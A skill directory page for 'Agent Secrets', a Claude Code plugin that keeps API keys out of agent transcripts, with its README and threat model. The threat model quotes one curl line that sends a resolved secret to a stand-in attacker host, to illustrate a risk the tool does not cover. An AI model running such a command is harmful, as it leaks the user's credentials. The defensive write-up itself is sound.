Agent Secrets — AI skill for Claude Code
Let an AI agent use your API keys and passwords without the plaintext ever entering its transcript.
How to install Agent Secrets
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open zalan159/agent-secrets and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Agent Secrets does
Let an AI agent use your API keys and passwords without the plaintext ever entering its transcript. A plugin for Claude Code, Codex, and Cteno — no daemon, no cloud.
Alternatives in AI
- BrowserSkill — Let AI agents use your real, logged-in browser without interrupting your work 9.1k ★
- Vibeproxy — Native macOS menu bar app to use your Claude Code & ChatGPT subscriptions with AI coding tools - no API keys n 3.3k ★
- Agmsg — Cross-vendor messaging for CLI AI coding agents — let Claude Code, Codex, Gemini & Copilot talk to each other 1.5k ★
README
agent-secrets
**Let an AI agent use your API keys and passwords to get work done — without the plaintext ever entering its transcript.**
Your agent references a secret as `secret://vault/` and runs the command through `secret-exec`. The real value is resolved *downstream* of what the agent records, injected into the command that actually runs, and scrubbed back out of the output before the agent sees it. The transcript keeps the reference; the service you called gets the real value; the agent gets the result with the secret masked.
agent writes: secret-exec run 'curl -H "Authorization: Bearer secret://vault/gh" https://api.github.com/user'
transcript: …secret://vault/gh… (reference, never the value)
github.com got: Authorization: Bearer ghp_realvalue (the real value)
agent sees: { "login": "me", … } (result; any echoed secret → ***)
Works the same in **Claude Code**, **Codex**, and **Cteno**. No daemon, no cloud, no account. Each `secret-exec run` resolves and exits.
Threat model — what this does and does not promise
The guarantee is exactly the one your OS keychain gives:
**The plaintext never enters the agent transcript / LLM context.**
Explicitly **out of scope** (same as a keychain — if an attacker already has these, nothing helps):
- A resolved value briefly lives in the child process it is injected into, visible
to other processes running as the same OS user (
ps,/proc). - An agent that is actively trying to exfiltrate a secret it is allowed to
resolve can still do so (
secret-exec run 'curl attacker.com -d secret://vault/x'). Output scrubbing is defense-in-depth against accidental echo, not a sandbox. - Your machine being compromised, your network being tapped, etc.
If you need to stop a *malicious* agent from using a secret, don't give it access to that secret. This tool stops the *ordinary* leak: a helpful agent pasting your key into a transcript that gets logged, synced, a
Related Skills
Kru
Local-first MCP password and credential manager for AI agents. Use passwords, API keys, SSH identities, and TO
Neuralyzer
Your AI agent saw your API keys, and saved them in plaintext forever. Scan, redact and rotate secrets in Claud
Claude Code Secret Guard
Claude Code mod that keeps API keys, tokens and passwords out of the model's context: gitleaks scans every too
Bro
Build your team of AI agents without the pain of prompt chaos, wide-open keys, MCP overload, and a free-for-al
Safe Keys
Paste an API key into Claude Code. Nothing keeps it. A Claude Code mod that keeps credentials out of the chat,
Phantom Secrets
Stop AI coding agents from leaking your API keys. Local proxy + MCP that swaps real secrets for phm_ tokens —
Related Agents
Secret Purist
The paranoid sentinel of credential security. Use this agent to scan codebases and git history for leaked secr
Appsec Secrets Scanner
Use proactively to hunt for hardcoded secrets, credentials, tokens, and high-entropy strings across the entire
Secret Hunter
Hunts publicly-leaked credentials (API tokens, cloud keys, DB strings) that belong to a previously-ingested pr